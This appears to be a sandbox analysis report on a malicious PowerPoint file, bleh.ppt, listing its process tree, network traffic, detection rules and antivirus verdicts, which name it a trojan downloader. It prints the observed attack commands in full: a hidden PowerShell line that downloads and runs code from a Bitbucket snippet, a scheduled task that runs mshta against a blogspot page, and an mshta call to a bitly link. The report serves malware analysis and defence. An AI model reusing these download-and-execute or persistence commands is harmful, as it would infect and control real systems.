bleh.ppt| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6403_us | Oct. 6, 2021, 2:35 p.m. | Oct. 6, 2021, 2:37 p.m. |
-
POWERPNT.EXE "C:\Program Files (x86)\Microsoft Office\Office15\POWERPNT.EXE" /S C:\Users\test22\AppData\Local\Temp\bleh.ppt
2300-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h i'E'x(iwr('https://bitbucket.org/!api/2.0/snippets/choasknight/rXXMLK/e391fed7e0a4d6c76294d9bae0b4536b0bb072eb/files/og') -useB);
2536 -
schtasks.exe "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""https://madarbloghogya.blogspot.com/p/og.html""
548
-
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| kyahogysammajhnailagrahiat1.blogspot.com | 172.217.24.129 | |
| resources.blogblog.com |
CNAME
blogger.l.google.com
|
216.58.197.201 |
| www.blogger.com |
CNAME
blogger.l.google.com
|
216.58.197.201 |
| bitly.com | 67.199.248.15 |
Suricata Alerts
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.103:49174 142.250.66.129:443 |
C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 | CN=misc-sni.blogspot.com | fc:db:2e:5e:8f:df:23:25:9a:03:2f:a3:eb:58:73:23:f5:30:86:76 |
|
TLSv1 192.168.56.103:49175 142.250.66.105:443 |
C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 | CN=*.blogger.com | 76:d9:ed:9a:97:01:f9:eb:d2:fb:79:86:c4:64:4f:02:1a:32:16:3b |
|
TLSv1 192.168.56.103:49181 172.217.31.233:443 |
None | None | None |
|
TLSv1 192.168.56.103:49176 142.250.66.105:443 |
None | None | None |
|
TLSv1 192.168.56.103:49177 172.217.31.233:443 |
C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 | CN=*.blogger.com | 76:d9:ed:9a:97:01:f9:eb:d2:fb:79:86:c4:64:4f:02:1a:32:16:3b |
| request | GET http://bitly.com/qtyiwedhjkabdhsagbdhnsavbd |
| request | GET https://kyahogysammajhnailagrahiat1.blogspot.com/p/og1-1.html |
| request | GET https://www.blogger.com/static/v1/widgets/1667664774-css_bundle_v2.css |
| request | GET https://www.blogger.com/static/v1/jsbin/403901366-ieretrofit.js |
| request | GET https://www.blogger.com/dyn-css/authorization.css?targetBlogID=8965474558532949541&zx=c284ae92-b0d2-4f96-8852-ffc3b557f602 |
| request | GET https://www.blogger.com/static/v1/jsbin/186635561-comment_from_post_iframe.js |
| request | GET https://www.blogger.com/static/v1/widgets/963277127-widgets.js |
| request | GET https://resources.blogblog.com/img/icon18_edit_allbkg.gif |
| request | GET https://resources.blogblog.com/blogblog/data/1kt/simple/body_gradient_tile_light.png |
| request | GET https://www.blogger.com/img/share_buttons_20_3.png |
| request | GET https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_light.png |
| file | C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\963277127-widgets[1].js |
| file | C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\403901366-ieretrofit[1].js |
| file | C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZTY94C7J\186635561-comment_from_post_iframe[1].js |
| file | C:\Users\test22\Documents\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| cmdline | "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""https://madarbloghogya.blogspot.com/p/og.html"" |
| cmdline | mshta Http://bitly.com/qtyiwedhjkabdhsagbdhnsavbd |
| cmdline | pOwersHelL.exe -w h i'E'x(iwr('https://bitbucket.org/!api/2.0/snippets/choasknight/rXXMLK/e391fed7e0a4d6c76294d9bae0b4536b0bb072eb/files/og') -useB); |
| cmdline | schtasks /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""https://madarbloghogya.blogspot.com/p/og.html"" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h i'E'x(iwr('https://bitbucket.org/!api/2.0/snippets/choasknight/rXXMLK/e391fed7e0a4d6c76294d9bae0b4536b0bb072eb/files/og') -useB); |
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| cmdline | "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""https://madarbloghogya.blogspot.com/p/og.html"" |
| cmdline | schtasks /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""https://madarbloghogya.blogspot.com/p/og.html"" |
| cmdline | "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""https://madarbloghogya.blogspot.com/p/og.html"" |
| cmdline | schtasks /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""https://madarbloghogya.blogspot.com/p/og.html"" |
| Lionic | Trojan.Script.Generic.a!c |
| ALYac | VB:Trojan.Valyria.4194 |
| Sangfor | Malware.Generic-VBA.Save.Obfuscated |
| Arcabit | VB:Trojan.Valyria.D1062 |
| Cyren | PP97M/Agent.TP.gen!Eldorado |
| Symantec | CL.Downloader!gen87 |
| ESET-NOD32 | a variant of VBA/TrojanDownloader.Agent.VVQ |
| TrendMicro-HouseCall | TROJ_FRS.VSNTJ521 |
| Kaspersky | HEUR:Trojan-Downloader.Script.Generic |
| BitDefender | VB:Trojan.Valyria.4194 |
| MicroWorld-eScan | VB:Trojan.Valyria.4194 |
| Ad-Aware | VB:Trojan.Valyria.4194 |
| Emsisoft | VB:Trojan.Valyria.4194 (B) |
| FireEye | VB:Trojan.Valyria.4194 |
| Ikarus | Win32.Outbreak |
| MAX | malware (ai score=89) |
| GData | VB:Trojan.Valyria.4194 |
| McAfee | RDN/Generic Downloader.x |
| Tencent | Win32.Trojan-downloader.Agent.Eddq |
| parent_process | powerpnt.exe | martian_process | mshta Http://bitly.com/qtyiwedhjkabdhsagbdhnsavbd | ||||||